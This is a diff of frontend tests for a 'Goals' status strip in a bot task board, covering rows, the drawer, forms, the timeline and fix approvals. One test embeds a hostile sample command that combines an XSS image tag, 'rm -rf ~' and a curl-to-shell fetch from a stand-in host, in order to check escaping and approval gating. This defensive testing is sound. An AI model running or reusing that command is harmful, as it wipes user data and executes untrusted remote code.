+ assert.match(row, /^The site stays up Can’t check HTTP status = 200 · Out of date · 3 h ago$/, row);
+
+ // A goal stored as Met whose required check is out of date, missing or couldn't run shows as Unknown.
+ const staleMet = goal({ status: 'met', checks: [check({ latest: { status: 'passed', verdict: 'met', excerpt: '', observed_at: minsAgo(200) } })] });
+ assert.equal(b.shownStatus(staleMet, NOW), 'unknown');
+ assert.equal(b.shownStatus(goal({ checks: [check({ latest: null })] }), NOW), 'unknown');
+ assert.equal(b.shownStatus(goal({ checks: [check({ latest: { status: 'error', verdict: 'unknown', excerpt: '', observed_at: minsAgo(5) } })] }), NOW), 'unknown');
+ assert.equal(b.shownStatus(goal({ checks: [check(), check({ id: 'c2', required: false, latest: null })] }), NOW), 'met', 'an optional check does not hold Met back');
+ assert.equal(b.shownStatus(goal(), NOW), 'met');
+ const strip = b.stripHtml({ names, now: NOW, initial: { goals: [staleMet] }, api: fakeApi([]) });
+ assert.match(strip, /data-goal-status="unknown"/);
+ assert.doesNotMatch(strip, /data-goal-status="met"/);
+ assert.doesNotMatch(text(strip), /1 met/);
+});
+
+test('a goal row is two short lines: status, then the fix task, the failing check, or the schedule', async () => {
+ const fixTask = { id: 't_fix', title: 'Fix: The site stays up: Site answers failing', state: 'ready', held: true, created_at: minsAgo(30) };
+ const failed = check({ latest: { status: 'failed', verdict: 'not_met', excerpt: 'HTTP 502', observed_at: minsAgo(10) } });
+ const fixing = goal({ status: 'fixing', fix_tasks: [fixTask], spent_tokens: 12_400, checks: [failed] });
+ assert.equal(text(b.rowHtml({ goal: fixing, names, now: NOW })), 'The site stays up Fixing Fix: The site stays up: Site answers failing · fix ready, waiting for your OK');
+ assert.equal(text(b.rowHtml({ goal: goal({ status: 'not_met', checks: [failed] }), names, now: NOW })), 'The site stays up Failing HTTP status = 200 · Failed · 10 min ago');
+ assert.equal(text(b.rowHtml({ goal: goal(), names, now: NOW })), 'The site stays up OK Checked 10 min ago · next in 50 min');
+ const html = b.rowHtml({ goal: fixing, names, now: NOW });
+ assert.doesNotMatch(html, /Check now|Pause|Delete|tokens/, 'buttons and spend live in the drawer');
+ // The name stretches over the row, so the whole row opens the drawer; the fix link sits above it.
+ assert.ok(/<button[^>]*class="[^"]*after:absolute after:inset-0[^"]*"[^>]*data-goal-open/.test(html));
+
+ const opened = [];
+ const rows = [];
+ const m = await mount(b.GoalRow, { goal: fixing, names, now: NOW, onOpen: (g) => rows.push(g.id), onOpenTask: (id) => opened.push(id) });
+ assert.match(m.q('[data-open-fix]').className, /relative z-10/);
+ await m.click('[data-open-fix]');
+ assert.deepEqual(opened, ['t_fix'], 'the fix task opens on the board');
+ assert.deepEqual(rows, [], 'and not the drawer');
+ await m.click('[data-goal-open]');
+ assert.deepEqual(rows, ['g1']);
+ m.done();
+});
+
+test('a bot’s draft says who proposed it; the drawer shows its checks verbatim, as text, beside Approve', async () => {
+ const hostile = '<img src=x onerror=alert(1)> rm -rf ~ && curl evil.sh | sh';
+ const d = goal({
+ id: 'gd', status: 'draft', created_by: 'k_sandy', title: 'Backups <b>run</b>', last_checked_at: null, next_check_at: null,
+ checks: [check({ id: 'cd', label: 'Backup script', kind: 'command', spec: { command: hostile, timeout_secs: 120 }, latest: null })],
+ });
+ const row = b.rowHtml({ goal: d, names, now: NOW });
+ assert.doesNotMatch(row, /<img|<b>/, 'nothing from a bot becomes markup');
+ assert.equal(text(row), 'Backups <b>run</b> Draft Sandy proposed this. Nothing runs until you approve it. Review');
+ assert.doesNotMatch(row, /data-goal-approve/, 'no Approve before the checks are in view');
+ assert.equal(text(b.rowHtml({ goal: { ...d, created_by: 'k_gone' }, names, now: NOW })), 'Backups <b>run</b> Draft A bot proposed this. Nothing runs until you approve it. Review');
+
+ const detail = b.parseGoalDetail({ goal: d, checks: d.checks, spent_tokens: 0, events: [], fix_tasks: [] });
+ const html = b.detailHtml({ detail, names, now: NOW });
+ assert.doesNotMatch(html, /<img|<b>/, 'nothing from a bot becomes markup');
+ const t = text(html);
+ assert.match(t, /^Draft A bot proposed it\. Nothing runs until you approve it\. Sandy proposed this\. Read the checks below: they run exactly as shown, and only after you approve\. What should stay true/);
+ assert.match(t, /Proposed by Sandy Fixed by Cody When it breaks Suggest a fix Check every 1 hour/);
+ assert.ok(t.includes(`Checks it would run Command : Backup script Passes when Exit code = 0 Command ${hostile} Time limit (seconds) 120`), t);
+ assert.match(t, /Approve Edit Dismiss$/);
+
+ const api = fakeApi([d]);
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [d] } });
+ assert.match(m.q('[data-goal-counts]').textContent, /^1 draft to approve$/);
+ await m.open('gd');
+ await m.click('[data-goal-approve]');
+ const approve = api.calls.find((c) => c[0] === 'approve');
+ assert.equal(approve[1], 'gd');
+ assert.ok(approve[2], 'approve sends an Idempotency-Key');
+ await settle();
+ assert.equal(m.q('[data-goal="gd"]').dataset.status, 'checking');
+ assert.ok(!m.q('[data-goal-approve]'), 'the drawer reads it again: no longer a draft');
+ assert.match(m.q('[data-goals-notice]').textContent, /Approved: “Backups <b>run<\/b>” is being checked now\./);
+ m.done();
+
+ // Dismiss asks first, then deletes the draft and closes the drawer; focus lands on New goal.
+ const api2 = fakeApi([d]);
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api: api2, initial: { goals: [d] } });
+ await m2.open('gd');
+ await m2.click('[data-goal-dismiss]');
+ assert.match(m2.q('[data-confirm-delete]').textContent, /Dismiss this proposal\? Nothing has run\./);
+ assert.ok(document.activeElement === m2.q('[data-confirm-yes]'), 'focus moves to the confirm');
+ await m2.click('[data-confirm-yes]');
+ assert.deepEqual(api2.calls.at(-1), ['remove', 'gd']);
+ assert.ok(!m2.q('[data-goal="gd"]'));
+ assert.ok(!m2.q('[role="dialog"]'), 'the drawer closes');
+ assert.ok(document.activeElement === m2.q('[data-new-goal]'), 'focus goes to New goal, not the page');
+ m2.done();
+});
+
+test('Check now, Pause and Delete are in the drawer and call the server; a goal deleted elsewhere just leaves', async () => {
+ const g1 = goal();
+ const api = fakeApi([g1]);
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [g1] } });
+ assert.ok(!m.q('[data-goal-check-now]'), 'no buttons on the row');
+ await m.open('g1');
+ await m.click('[data-goal-check-now]');
+ const chk = api.calls.find((c) => c[0] === 'check');
+ assert.ok(chk && chk[2], 'check sends an Idempotency-Key');
+ await settle();
+ // No goal in the answer: it shows as checking until the live update arrives.
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'checking');
+ assert.equal(m.q('[data-goal-check-now]').disabled, true, 'no second check while one runs');
+ m.done();
+
+ const api2 = fakeApi([g1]);
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api: api2, initial: { goals: [g1] } });
+ await m2.open('g1');
+ await m2.click('[data-goal-pause="pause"]');
+ await settle();
+ assert.deepEqual(api2.calls.find((c) => c[0] === 'update'), ['update', 'g1', { paused: true }]);
+ assert.equal(m2.q('[data-goal="g1"]').dataset.status, 'paused');
+ assert.match(m2.q('[data-goal="g1"] [data-goal-schedule]').textContent, /Paused, no checks until you resume/);
+ assert.ok(m2.q('[data-goal-pause="resume"]'));
+ // A paused goal can still be checked by hand (Rigel Q10).
+ assert.equal(m2.q('[data-goal-check-now]').disabled, false);
+ m2.done();
+
+ const gone = fakeApi([g1, goal({ id: 'g2', title: 'Second' })], { remove: async () => { throw new b.GoalError('Not found', 404); } });
+ const m3 = await mount(b.GoalsStrip, { names, now: NOW, api: gone, initial: { goals: [g1, goal({ id: 'g2', title: 'Second' })] } });
+ await m3.open('g1');
+ await m3.click('[data-goal-delete]');
+ assert.match(m3.q('[data-confirm-delete]').textContent, /Delete this goal\? Its checks and history go too\. Open fix work stays on the board\./);
+ await m3.click('[data-confirm-yes]');
+ assert.ok(!m3.q('[data-goal="g1"]'));
+ assert.ok(m3.q('[data-goal="g2"]'));
+ assert.ok(!m3.q('[role="dialog"]'), 'the drawer closes');
+ assert.match(m3.q('[data-goals-notice]').textContent, /already deleted/);
+ m3.done();
+
+ const denied = fakeApi([g1], { check: async () => { throw new b.GoalError('Only you can change goals.', 403); } });
+ const m4 = await mount(b.GoalsStrip, { names, now: NOW, api: denied, initial: { goals: [g1] } });
+ await m4.open('g1');
+ await m4.click('[data-goal-check-now]');
+ assert.equal(m4.q('[data-goal-detail-error]').textContent, 'Only you can change goals.');
+ assert.equal(m4.q('[data-goal-detail-error]').getAttribute('role'), 'alert');
+ // The row keeps it in view after the drawer closes, without announcing it a second time.
+ assert.equal(m4.q('[data-goal="g1"] [data-goal-error]').textContent, 'Only you can change goals.');
+ assert.equal(m4.q('[data-goal="g1"] [data-goal-error]').getAttribute('role'), null);
+ m4.done();
+});
+
+test('New goal validates in plain words, focuses the first problem, and creates once', async () => {
+ const empty = b.goalFormErrors(b.formFromGoal(null));
+ assert.equal(empty.title, 'Give the goal a short name.');
+ assert.equal(empty.kwantId, 'Pick the bot that fixes it, or choose Just tell me.');
+ assert.equal(Object.values(empty.rows)[0], 'Type the web address to open.');
+ const watch = b.goalFormErrors({ ...b.formFromGoal(null), mode: 'watch' });
+ assert.equal(watch.kwantId, undefined, 'Just tell me needs no bot');
+ const http = { ...b.emptyCheckRow('http'), url: 'kwant.si' };
+ assert.equal(b.checkRowError(http), 'The address should start with http:// or https://.');
+ assert.equal(b.checkRowError({ ...http, url: 'https://kwant.si', target: '99' }), 'The HTTP status is a number from 100 to 599, like 200.');
+ assert.equal(b.checkRowError({ ...b.emptyCheckRow('file_sha256'), path: 'a', sha256: 'xyz' }), 'A fingerprint is 64 letters and digits (0–9 and a–f).');
+ const none = b.goalFormErrors({ ...b.formFromGoal(null), title: 'x', kwantId: 'k', checks: [{ ...b.emptyCheckRow(), command: 'true', required: false }] });
+ assert.equal(none.checks, 'Keep at least one check required: OK needs one.');
+
+ const api = fakeApi([]);
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [] }, openPanel: 'form' });
+ assert.ok(m.q('[role="dialog"]'), 'the form opens in a panel');
+ assert.match(m.q('[role="dialog"] h3').textContent, /New goal/);
+ await m.click('[data-goal-save]');
+ await settle(20);
+ assert.equal(api.calls.length, 0, 'nothing saved with errors');
+ const title = m.q('[data-field="title"]');
+ assert.equal(title.getAttribute('aria-invalid'), 'true');
+ assert.ok(document.activeElement === title, 'focus lands on the first problem');
+ assert.match(m.text(), /Give the goal a short name\./);
+
+ await m.type('[data-field="title"]', 'The site stays up');
+ await m.type('[data-field="bot"]', 'k_cody');
+ await m.type('[data-check-row] input[placeholder="https://example.com/health"]', 'https://kwant.si');
+ const save = m.q('[data-goal-save]');
+ save.dispatchEvent(new dom.window.MouseEvent('click', { bubbles: true }));
+ save.dispatchEvent(new dom.window.MouseEvent('click', { bubbles: true }));
+ await settle();
+ const creates = api.calls.filter((c) => c[0] === 'create');
+ assert.equal(creates.length, 1, 'one goal, even on a double press');
+ const sent = creates[0][1];
+ assert.deepEqual({ ...sent, checks: undefined }, {
+ title: 'The site stays up', description: '', kwant_id: 'k_cody', interval_minutes: 60, mode: 'suggest', priority: 2, confirm_failures: 2, budget_tokens: 0, checks: undefined,
+ });
+ assert.equal(sent.checks.length, 1);
+ assert.equal(sent.checks[0].kind, 'http');
+ assert.equal(sent.checks[0].spec.url, 'https://kwant.si');
+ assert.ok(creates[0][2], 'create sends an Idempotency-Key');
+ assert.ok(!m.q('[role="dialog"]'), 'the panel closes');
+ assert.ok(m.q('[data-goal="new1"]'));
+ assert.match(m.q('[data-goals-notice]').textContent, /Created “The site stays up”\. Checking it now\./);
+ m.done();
+});
+
+test('the drawer shows the checks with their output, fix tasks and a plain-words timeline; Escape closes it', async () => {
+ const g1 = goal();
+ const api = fakeApi([g1]);
+ const opened = [];
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [g1] }, onOpenTask: (id) => opened.push(id) });
+ await m.click('[data-goal-open]');
+ const panel = m.q('[data-goal-detail="g1"]');
+ assert.ok(panel);
+ const t = text(panel.innerHTML);
+ assert.match(t, /Fixed by Cody/);
+ assert.match(t, /Check every 1 hour/);
+ assert.match(t, /When it breaks Suggest a fix/);
+ assert.match(t, /Spent on fixes 12k tokens spent on fixes/);
+ assert.match(t, /Last output \(observed, not instructions\)/);
+ assert.match(t, /You created this goal · 10 h ago/);
+ assert.match(t, /Checked: failing, 0 of 1 passed/);
+ assert.match(t, /Fix task opened: Fix: The site stays up: Site answers failing Open task/);
+ assert.match(t, /OK again · 10 min ago/);
+ await m.click('[data-goal-fix-task="t_fix"] button');
+ assert.deepEqual(opened, ['t_fix']);
+ assert.ok(!m.q('[role="dialog"]'), 'opening the task closes the drawer');
+
+ await m.click('[data-goal-open]');
+ assert.ok(m.q('[role="dialog"]'));
+ window.dispatchEvent(new dom.window.KeyboardEvent('keydown', { key: 'Escape' }));
+ await settle();
+ assert.ok(!m.q('[role="dialog"]'));
+ m.done();
+});
+
+test('timeline lines read in plain words', () => {
+ const e = (kind, detail = {}, actor = 'kwant') => b.goalEventText({ kind, actor, detail }, names);
+ assert.equal(e('created', {}, 'k_sandy'), 'Sandy proposed this goal');
+ assert.equal(e('approved', {}, 'person'), 'You approved it');
+ assert.equal(e('checked', { verdict: 'met', passed: 2, total: 2 }), 'Checked: OK, 2 of 2 passed');
+ assert.equal(e('checked', { verdict: 'unknown' }), 'Checked: couldn’t tell');
+ assert.equal(e('not_met', { check_label: 'Site answers', fail_streak: 2 }), 'Broke: “Site answers” failed 2 times in a row');
+ assert.equal(e('needs_you', { reason: 'budget' }), 'Needs you: its token budget is spent');
+ assert.equal(e('needs_you', { reason: 'max_fixes_per_day' }), 'Needs you: it hit its fixes for today');
+ assert.equal(e('paused', {}, 'person'), 'You paused it');
+ assert.equal(e('fix_verified'), 'Fix verified: the checks pass again');
+});
+
+test('the storage layer’s shapes read the same: epoch times, severity, JSON text, task_id links, no bot', () => {
+ const sec = Math.floor(NOW / 1000) - 600;
+ const d = b.parseGoalDetail({
+ goal: {
+ id: 'g9', title: 'Raw row', status: 'met', mode: 'watch', interval_minutes: 60, kwant_id: '',
+ created_at: sec - 3600, updated_at: (sec - 60) * 1000, last_checked_at: sec, next_check_at: sec + 3600, checking_since: 0,
+ },
+ checks: [
+ { id: 'c1', label: 'Site answers', kind: 'http', severity: 'required', spec: '{"url":"https://kwant.si","expect_status":200}', freshness_minutes: 120,
+ latest: { status: 'passed', verdict: 'met', excerpt: 'HTTP 200', observed_at: sec, expires_at: sec + 7200 } },
+ { id: 'c2', label: 'Nice to have', kind: 'shell', severity: 'advisory', spec: 'not json' },
+ { id: 'c3', label: 'Override', kind: 'shell', severity: 'advisory', required: true, spec: {} },
+ ],
+ events: [
+ { id: 'e2', kind: 'approved', actor: 'you', detail: '{}', created_at: sec - 1800 },
+ { id: 'e1', kind: 'created', actor: 'k_sandy', detail: '{"mode":"watch"}', created_at: sec - 3600 },
+ ],
+ fix_tasks: [{ task_id: 't1', created_at: sec, state: 'working', spent_tokens: 1200 }],
+ spent_tokens: 1200,
+ });
+ const g = d.goal;
+ assert.equal(g.kwant_id, null, 'an empty bot id is no bot');
+ assert.equal(g.created_at, new Date((sec - 3600) * 1000).toISOString(), 'epoch seconds become ISO');
+ assert.equal(g.updated_at, new Date((sec - 60) * 1000).toISOString(), 'epoch milliseconds become ISO');
+ assert.equal(g.last_checked_at, new Date(sec * 1000).toISOString());
+ assert.equal(g.checking_since, null, 'zero is not a time');
+ const [c1, c2, c3] = d.checks;
+ assert.equal(c1.required, true);
+ assert.equal(c1.spec.url, 'https://kwant.si', 'spec stored as JSON text is read');
+ assert.equal(c1.latest.observed_at, new Date(sec * 1000).toISOString());
+ assert.equal(c2.required, false, 'advisory severity is informational');
+ assert.deepEqual(c2.spec, {}, 'unreadable spec is empty, not a crash');
+ assert.equal(c3.required, true, 'an explicit required wins');
+ assert.deepEqual(d.events.map((e) => e.id), ['e1', 'e2'], 'events sort by time, not by text');
+ assert.equal(d.events[0].detail.mode, 'watch', 'detail stored as JSON text is read');
+ assert.equal(d.fix_tasks[0].id, 't1');
+ assert.equal(d.fix_tasks[0].title, 'Fix task', 'a link without a title still reads');
+ assert.equal(g.open_fix_task?.id, 't1');
+ assert.equal(b.shownStatus({ ...g, checks: [c1, c2] }, NOW), 'met', 'a fresh Met from epoch times stays Met; an advisory check doesn’t hold it back');
+ assert.equal(b.shownStatus(g, NOW), 'unknown', 'a required check never run keeps it Unknown');
+ const expired = { ...c1, latest: { ...c1.latest, expires_at: new Date(NOW - 1000).toISOString() } };
+ assert.equal(b.checkLook(expired, 60, NOW).label, 'Out of date', 'past the server’s expiry, a pass is out of date');
+ assert.equal(b.shownStatus({ ...g, checks: [expired] }, NOW), 'unknown');
+});
+
+test('live: goal changes reload the strip once per burst; there is no switch', async () => {
+ let list = [goal()];
+ const api = fakeApi([], {
+ list: async () => (api.calls.push(['list']), list.map((x) => ({ ...x }))),
+ get: async () => b.parseGoalDetail({ goal: list[0], checks: list[0].checks, spent_tokens: 0, events: [], fix_tasks: [] }),
+ });
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api });
+ assert.equal(api.calls.filter((c) => c[0] === 'list').length, 1);
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'met');
+
+ list = [goal({ status: 'not_met' })];
+ b.emitMission({ type: 'goal_updated', data: { id: 'g1', status: 'checking' } });
+ b.emitMission({ type: 'goal_updated', data: { id: 'g1', status: 'not_met' } });
+ await settle(300);
+ assert.equal(api.calls.filter((c) => c[0] === 'list').length, 2, 'two events, one read');
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'not_met');
+
+ assert.ok(m.q('[data-goals-strip]'), 'no setting can hide it');
+ m.done();
+});
+
+test('many goals: collapsed it shows only what wants a look; Show all brings the rest, and the choice is kept', async () => {
+ const long = 'A very long goal title that keeps going and going without a single break '.repeat(3);
+ const needs = { open_mission: { id: 'm1', title: 'Restore', status: 'active', attempt: 1, opened_at: minsAgo(20), run_task_id: 't_run', cause: 'The disk is full.' } };
+ const many = Array.from({ length: 30 }, (_, i) => goal({ id: `g${i}`, title: `${long}${i}`, status: i === 17 ? 'needs_you' : i === 5 ? 'not_met' : 'met', ...(i === 5 ? needs : {}) }));
+ const api = fakeApi([]);
+ localStorage.setItem('kwnt.goals.open', '0');
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: many } });
+ const cards = () => [...m.host.querySelectorAll('[data-goal]')];
+ assert.equal(cards().length, 2, 'only the two that want a look');
+ assert.deepEqual(cards().map((c) => c.dataset.status), ['needs_you', 'needs_you']);
+ assert.match(m.q('[data-goal-counts]').textContent, /2 need you · 28 OK/);
+ assert.equal(m.q('[data-goals-toggle]').getAttribute('aria-expanded'), 'false');
+ assert.equal(m.q('[data-goals-toggle]').textContent, 'Show all 30');
+ // One line each: the name is cut short, and the full name is a hover away and in the drawer.
+ for (const c of cards()) {
+ const t = c.querySelector('[data-goal-open]');
+ assert.match(t.className, /\btruncate\b/);
+ assert.ok(t.getAttribute('title') === t.textContent);
+ }
+ await m.click('[data-goals-toggle]');
+ assert.equal(cards().length, 30);
+ assert.equal(m.q('[data-goals-toggle]').textContent, 'Show less');
+ assert.equal(localStorage.getItem('kwnt.goals.open'), 'true');
+ m.done();
+ // Remembered: the next board opens the list.
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: many } });
+ assert.equal(m2.host.querySelectorAll('[data-goal]').length, 30);
+ m2.done();
+ localStorage.setItem('kwnt.goals.open', '1');
+});
+
+test('on a phone, with all goals well, the strip is one line until opened; something needing you shows as a row', async () => {
+ const had = Object.getOwnPropertyDescriptor(window, 'matchMedia');
+ window.matchMedia = (q) => ({ matches: q === '(max-width: 639px)', addEventListener() {}, removeEventListener() {} });
+ localStorage.setItem('kwnt.goals.open', '0');
+ try {
+ const api = fakeApi([]);
+ const well = [goal({ id: 'a' }), goal({ id: 'b', title: 'Second' })];
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: well } });
+ assert.equal(m.host.querySelectorAll('[data-goal]').length, 0);
+ assert.match(m.q('[data-goal-counts]').textContent, /2 goals OK · checked 10 min ago/);
+ m.done();
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [...well, goal({ id: 'c', status: 'needs_you' })] } });
+ assert.equal(m2.host.querySelectorAll('[data-goal]').length, 1);
+ assert.equal(m2.q('[data-goal]').dataset.status, 'needs_you');
+ m2.done();
+ } finally {
+ localStorage.setItem('kwnt.goals.open', '1');
+ if (had) Object.defineProperty(window, 'matchMedia', had);
+ else delete window.matchMedia;
+ }
+});
+
+test('the board shows Goals on All work only, and there is no setting', () => {
+ const board = readFileSync(new URL('../src/components/MissionBoardView.tsx', import.meta.url), 'utf8');
+ assert.match(board, /<GoalsStrip[^>]*hidden=\{!!missionId\}/s, 'hidden (drawer only) inside a mission');
+ const settings = readFileSync(new URL('../src/components/SettingsModal.tsx', import.meta.url), 'utf8');
+ assert.doesNotMatch(settings, /goals/i, 'Settings has no Goals switch');
+ assert.equal(typeof b.parseGoalsSetting, 'undefined');
+ assert.equal(typeof b.GOALS_SETTING_EVENT, 'undefined');
+});
+
+// ---------------------------------------------------------------------------
+// Plan v2 quiet deltas D1-D9 (smart-results-goals/goals-ui-quiet-deltas.md; Rigel's G-U-16..24, G-Q-27, G-Q-28).
+
+const failedCheck = () => check({ latest: { status: 'failed', verdict: 'not_met', excerpt: 'HTTP 502', observed_at: minsAgo(10) } });
+/** A failing goal with an open remediation: `held` is the Fix's run task, `report` the diagnosis, `opened` how long ago. */
+const incident = ({ held = 't_run', report = true, opened = 20, id = 'g1', mode = 'suggest', ...over } = {}) =>
+ goal({
+ id, status: 'not_met', mode, checks: [failedCheck()],
+ open_mission: { id: 'm1', title: 'Restore: The site stays up', status: 'active', attempt: 1, opened_at: minsAgo(opened), run_task_id: held, ...(report ? { cause: 'The disk is full.', proposed_fix: 'Delete old logs.' } : {}) },
+ ...over,
+ });
+const incidentApi = (list, over = {}) => ({
+ ...fakeApi(list),
+ notNow: async (id, key) => (incidentApi.calls.push(['notNow', id, key]), goal({ id, status: 'needs_you', status_reason: 'declined', mode: 'suggest', checks: [failedCheck()], open_mission: list[0].open_mission })),
+ alwaysFix: async (id, key) => (incidentApi.calls.push(['alwaysFix', id, key]), goal({ id, status: 'not_met', mode: 'fix', checks: [failedCheck()], open_mission: null })),
+ runFix: async (task, key) => (incidentApi.calls.push(['runFix', task, key]), true),
+ ...over,
+});
+incidentApi.calls = [];
+const used = () => (localStorage.removeItem('kwnt.goals.notnow'), incidentApi.calls.splice(0));
+
+test('D5: no Fix it, Not now or Always fix before there is a diagnosis; they come with the report, or after a failed look', async () => {
+ const looking = incident({ report: false, opened: 5 });
+ const row = b.rowHtml({ goal: looking, names, now: NOW, onAction() {}, decision: b.goalDecision(looking, [], NOW, null) });
+ assert.match(text(row), /Cody is looking into it/);
+ assert.doesNotMatch(row, /data-goal-fix|data-goal-not-now|data-goal-always/, 'no buttons while it looks');
+ assert.equal(b.displayStatus(looking, [], NOW), 'not_met', 'Failing while the bot looks: nobody is asked yet');
+
+ const ready = incident();
+ assert.equal(b.diagnosisPhase(ready, [], NOW), 'ready');
+ assert.equal(b.displayStatus(ready, [], NOW), 'needs_you');
+ const full = b.detailHtml({ detail: b.parseGoalDetail({ goal: ready, checks: ready.checks, events: [], fix_tasks: [], missions: [] }), names, now: NOW });
+ assert.match(text(full), /Likely cause: The disk is full\. Proposed fix: Delete old logs\./);
+ for (const a of ['data-goal-fix', 'data-goal-not-now', 'data-goal-always']) assert.match(full, new RegExp(a), a);
+ assert.match(text(full), /Fix it Not now Always fix this goal/);
+
+ // Thirty minutes with no report: it couldn't finish; the person still gets the choice.
+ const stuck = incident({ report: false, opened: 31 });
+ assert.equal(b.diagnosisPhase(stuck, [], NOW), 'failed');
+ const t = text(b.detailHtml({ detail: b.parseGoalDetail({ goal: stuck, checks: stuck.checks, events: [], fix_tasks: [], missions: [] }), names, now: NOW }));
+ assert.match(t, /Cody couldn’t finish looking into it\. The fix waits for you\./);
+ assert.match(t, /Fix it Not now/);
+ // An investigated event is a report too (D4), and one that says failed is a failed look.
+ const ev = (detail) => [{ id: 'e1', kind: 'investigated', actor: 'kwant', detail, created_at: minsAgo(3) }];
+ assert.equal(b.diagnosisPhase(looking, ev({ cause: 'Disk full' }), NOW), 'ready');
+ assert.equal(b.diagnosisPhase(looking, ev({ failed: true }), NOW), 'failed');
+});
+
+test('D1/D3: Not now calls the route once, silently; the goal then reads Failing, never Needs you, and keeps a quiet Fix it', async () => {
+ used();
+ const g1 = incident();
+ const api = incidentApi([g1]);
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [g1] } });
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'needs_you');
+ await m.click('[data-goal-not-now]');
+ await settle();
+ const calls = used();
+ assert.deepEqual(calls.map((c) => [c[0], c[1]]), [['notNow', 'g1']], 'one call, nothing else');
+ assert.ok(calls[0][2], 'sends an Idempotency-Key');
+ // `declined` reads Failing, and nobody is asked again: no amber, no needs-you count (G-Q-27/28).
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'not_met');
+ assert.doesNotMatch(m.q('[data-goal-counts]').textContent, /need/);
+ assert.ok(!m.q('[data-goal-not-now]') && !m.q('[data-goal-always]'), 'no more asking');
+ assert.match(m.q('[data-goal-line="declined"]').textContent, /You chose Not now/);
+ assert.ok(m.q('[data-goal-fix-quiet]'), 'a quiet Fix it stays');
+ assert.ok(!m.q('[data-goals-notice]'), 'silent: no notice, no toast');
+ assert.ok(!m.q('[role="alert"]'));
+ m.done();
+ // The text reads the same from another device: the server's `declined`.
+ const server = goal({ id: 'g1', status: 'needs_you', status_reason: 'declined', checks: [failedCheck()], open_mission: incident().open_mission });
+ assert.equal(b.displayStatus(server, [], NOW), 'not_met');
+ assert.equal(b.goalDecision(server, [], NOW).kind, 'declined');
+ assert.equal(b.declinedText(minsAgo(0), NOW), 'You chose Not now at ' + new Date(NOW).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' }) + '. The fix waits; it’s dropped if this recovers.');
+ assert.match(b.declinedText(null, NOW), /^Not now\./);
+});
+
+test('D1: on a server without the route, Not now only hides it here; any other error undoes the hide and says so', async () => {
+ used();
+ const g1 = incident();
+ for (const status of [404, 405, 0]) {
+ used();
+ const api = incidentApi([g1], { notNow: async () => { throw new b.GoalError('nope', status); } });
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [g1] } });
+ await m.click('[data-goal-not-now]');
+ await settle();
+ assert.ok(m.q('[data-goal-line="declined"]'), `${status}: hidden locally`);
+ assert.ok(!m.q('[data-goal-not-now]'));
+ assert.ok(!m.q('[data-goal="g1"] [data-goal-error]'), `${status}: no error shown`);
+ m.done();
+ }
+ used();
+ const api = incidentApi([g1], { notNow: async () => { throw new b.GoalError('Only you can change goals.', 403); } });
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [g1] } });
+ await m.click('[data-goal-not-now]');
+ await settle();
+ assert.ok(m.q('[data-goal-not-now]'), 'the decision is back');
+ assert.equal(m.q('[data-goal="g1"] [data-goal-error]').textContent, 'Only you can change goals.');
+ m.done();
+});
+
+test('D2: Always fix this goal calls the route, then runs the held fix; on a server without it, it sets fix mode instead', async () => {
+ used();
+ const g1 = incident();
+ const api = incidentApi([g1], { get: async (id) => b.parseGoalDetail({ goal: g1, checks: g1.checks, events: [], fix_tasks: [], missions: [] }) });
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api, initial: { goals: [g1] } });
+ await m.click('[data-goal-always]');
+ await settle();
+ assert.deepEqual(used().map((c) => [c[0], c[1]]), [['alwaysFix', 'g1'], ['runFix', 't_run']], 'the route, then the held fix runs');
+ assert.match(m.q('[data-goals-notice]').textContent, /./);
+ m.done();
+
+ const old = incidentApi([g1], {
+ alwaysFix: async () => { throw new b.GoalError('missing', 404); },
+ update: async (id, patch) => (incidentApi.calls.push(['update', id, patch]), goal({ id, mode: 'fix', status: 'not_met', checks: [failedCheck()], open_mission: null })),
+ });
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api: old, initial: { goals: [g1] } });
+ await m2.click('[data-goal-always]');
+ await settle();
+ const c = used();
+ assert.deepEqual(c.map((x) => x[0]), ['update', 'runFix']);
+ assert.deepEqual(c[0].slice(1), ['g1', { mode: 'fix' }]);
+ m2.done();
+
+ // Fix it alone runs the held task and does not change the mode.
+ const api3 = incidentApi([g1]);
+ const m3 = await mount(b.GoalsStrip, { names, now: NOW, api: api3, initial: { goals: [g1] } });
+ await m3.click('[data-goal-fix]');
+ await settle();
+ assert.deepEqual(used().map((x) => [x[0], x[1]]), [['runFix', 't_run']]);
+ m3.done();
+});
+
+test('D6: the pill says Failing, Needs you or Fixing only when that is true', () => {
+ const st = (g, ev = []) => b.displayStatus(g, ev, NOW);
+ assert.equal(st(incident({ report: false, opened: 2 })), 'not_met', 'looking: Failing');
+ assert.equal(st(incident()), 'needs_you', 'report ready, Fix held: Needs you');
+ assert.equal(st(incident({ held: null, mode: 'fix' }), []), 'not_met', 'fix mode, nothing running yet reads the server word');
+ // The Fix was released (no held task, a report in): it runs, so Fixing.
+ const running = goal({ status: 'fixing', mode: 'suggest', checks: [failedCheck()], open_mission: { id: 'm1', title: 'Restore', status: 'active', attempt: 1, opened_at: minsAgo(20), run_task_id: null, cause: 'x' } });
+ assert.equal(st(running), 'fixing');
+ // Fixing while the Fix is still held is not true: it's a decision.
